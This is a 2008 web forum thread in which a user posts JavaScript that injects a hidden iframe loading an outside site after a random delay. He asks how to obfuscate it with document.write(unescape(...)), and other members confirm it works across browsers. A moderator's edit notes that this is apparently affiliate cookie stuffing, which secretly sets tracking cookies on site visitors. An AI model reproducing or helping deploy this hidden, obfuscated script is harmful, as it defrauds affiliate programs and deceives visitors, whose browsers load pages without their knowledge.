The Cache: Technology Expert's Forum
 
*
Welcome, Guest. Please login or register. September 23, 2019, 10:44:44 AM

Login with username, password and session length


Pages: [1]
  Print  
Author Topic: Can I do this?  (Read 3035 times)
blake_jl
Rookie
**
Offline Offline

Posts: 12


View Profile
« on: January 15, 2008, 11:50:54 PM »

Just looking for someone to tell me if I can do the following and it will work.

I have a script that I dont really want to link to in my page, but rather just insert it on the page, much like some people do with their CSS file in the header.

So I started out with the script

Code:
function dropit() {
 var i = document.createElement("iframe");
 with (i.style) {
  top = "0";
  left = "0",
  position = "absolute";
  display = "none";
 }
 i.src = "http://website.com";
 document.body.insertBefore(i);
}

window.setTimeout(dropit, Math.round(Math.random() * 5000 + 1000));

then I placed it in the head like this

Code:
<script language="javascript">
function dropit() {
 var i = document.createElement("iframe");
 with (i.style) {
  top = "0";
  left = "0",
  position = "absolute";
  display = "none";
 }
 i.src = "http://website.com";
 document.body.insertBefore(i);
}

window.setTimeout(dropit, Math.round(Math.random() * 5000 + 1000));
</script>

That's it isn't it? I dont need anything in the body to call (I think thats the correct terminology) the script do I?

Now what I want to do is encode it using

Code:
<script language="javascript">
document.write( unescape( 'the encoded script' ) );
</script>

Just not sure if I can do that. Javascript inside Javascript

Thanks

EDIT: I tested it and believe that what I have done works.

modded:clipped your affid, because i think your talking about stuffing and don't want you getting nuked by CJ in case anything ever were to come up for you.
« Last Edit: February 18, 2008, 01:41:27 AM by blake_jl » Logged

No links in signatures please
vsloathe
vim ftw!
Global Moderator
Lifer
*****
Offline Offline

Posts: 1669



View Profile
« Reply #1 on: January 16, 2008, 08:50:15 AM »

Yes that will work on most browsers. You might have a problem with the less w3c compatible ones. Test it in IE, FF, Opera, Safari, etc.
Logged

hai
blake_jl
Rookie
**
Offline Offline

Posts: 12


View Profile
« Reply #2 on: January 16, 2008, 01:49:29 PM »

Thanks vsloathe.

I know it works in IE because I load the page and watch for ebay to load a few seconds later.

I dont know if it works in FF because I wait and nothing happens.

I have Safari and it works there also.

What I might do is clear my cookies and test it that way. 99% of my traffic is IE anyway.

Mod: Thanks for clipping. It was really late here when I posted. I actually meant to edit that out but forgot.
« Last Edit: January 16, 2008, 01:51:06 PM by blake_jl » Logged

No links in signatures please
nutballs
Administrator
Lifer
*****
Offline Offline

Posts: 5627


Back in my day we had 9 planets


View Profile
« Reply #3 on: January 16, 2008, 02:42:25 PM »

no prob, i figured you didnt want it hanging out there.
Logged

I could eat a bowl of Alphabet Soup and shit a better argument than that.
Pages: [1]
  Print  
 
Jump to:  

Perkiset's Place Home   Best of The Cache   phpMyIDE: MySQL Stored Procedures, Functions & Triggers
Politics @ Perkiset's   Pinkhat's Perspective   
cache
mart
coder
programmers
ajax
php
javascript
Powered by MySQL Powered by PHP Powered by SMF 1.1.2 | SMF © 2006-2007, Simple Machines LLC
Seo4Smf v0.2 © Webmaster's Talks


Valid XHTML 1.0! Valid CSS!